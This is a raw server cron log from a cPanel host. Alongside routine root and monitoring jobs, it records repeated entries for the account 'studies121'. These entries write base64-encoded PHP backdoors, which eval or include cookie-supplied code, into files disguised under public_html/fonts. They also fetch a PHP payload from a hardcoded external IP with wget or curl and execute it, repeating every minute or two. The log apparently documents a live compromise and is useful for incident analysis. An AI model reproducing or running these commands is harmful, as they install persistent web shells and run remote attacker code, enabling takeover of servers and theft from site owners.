Sep  5 22:03:02 ip-184-168-122-23 CROND[32665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:04:01 ip-184-168-122-23 CROND[32745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:04:01 ip-184-168-122-23 CROND[32746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:04:01 ip-184-168-122-23 CROND[32747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:04:01 ip-184-168-122-23 CROND[32748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:04:01 ip-184-168-122-23 CROND[32751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:05:02 ip-184-168-122-23 CROND[388]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:05:02 ip-184-168-122-23 CROND[390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:05:02 ip-184-168-122-23 CROND[385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:05:02 ip-184-168-122-23 CROND[391]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 22:05:02 ip-184-168-122-23 CROND[386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:05:02 ip-184-168-122-23 CROND[387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:05:02 ip-184-168-122-23 CROND[392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:06:01 ip-184-168-122-23 CROND[487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:06:01 ip-184-168-122-23 CROND[489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:06:01 ip-184-168-122-23 CROND[488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:06:02 ip-184-168-122-23 CROND[495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:06:02 ip-184-168-122-23 CROND[496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:07:01 ip-184-168-122-23 CROND[580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:07:01 ip-184-168-122-23 CROND[581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:07:01 ip-184-168-122-23 CROND[582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:07:01 ip-184-168-122-23 CROND[583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:08:01 ip-184-168-122-23 CROND[773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:08:01 ip-184-168-122-23 CROND[774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:08:01 ip-184-168-122-23 CROND[776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:08:01 ip-184-168-122-23 CROND[777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:08:01 ip-184-168-122-23 CROND[775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:09:01 ip-184-168-122-23 CROND[861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:09:01 ip-184-168-122-23 CROND[863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:09:01 ip-184-168-122-23 CROND[864]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 22:09:01 ip-184-168-122-23 CROND[865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:09:01 ip-184-168-122-23 CROND[867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:10:01 ip-184-168-122-23 CROND[962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:10:01 ip-184-168-122-23 CROND[964]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:10:01 ip-184-168-122-23 CROND[965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:10:01 ip-184-168-122-23 CROND[963]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:10:01 ip-184-168-122-23 CROND[967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:10:01 ip-184-168-122-23 CROND[966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:10:01 ip-184-168-122-23 CROND[969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:10:01 ip-184-168-122-23 CROND[968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:11:01 ip-184-168-122-23 CROND[1107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:11:01 ip-184-168-122-23 CROND[1105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:11:01 ip-184-168-122-23 CROND[1108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:11:01 ip-184-168-122-23 CROND[1106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:12:01 ip-184-168-122-23 CROND[1200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:12:01 ip-184-168-122-23 CROND[1203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:12:01 ip-184-168-122-23 CROND[1201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:12:01 ip-184-168-122-23 CROND[1202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:12:01 ip-184-168-122-23 CROND[1204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:13:01 ip-184-168-122-23 CROND[1377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:13:01 ip-184-168-122-23 CROND[1378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:13:01 ip-184-168-122-23 CROND[1379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:13:01 ip-184-168-122-23 CROND[1380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:14:01 ip-184-168-122-23 CROND[1500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:14:02 ip-184-168-122-23 CROND[1499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:14:02 ip-184-168-122-23 CROND[1501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:14:02 ip-184-168-122-23 CROND[1502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:14:02 ip-184-168-122-23 CROND[1503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:15:01 ip-184-168-122-23 CROND[1591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:15:01 ip-184-168-122-23 CROND[1595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:15:01 ip-184-168-122-23 CROND[1592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:15:01 ip-184-168-122-23 CROND[1593]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:15:01 ip-184-168-122-23 CROND[1594]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:15:01 ip-184-168-122-23 CROND[1597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:15:01 ip-184-168-122-23 CROND[1596]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 22:16:01 ip-184-168-122-23 CROND[1693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
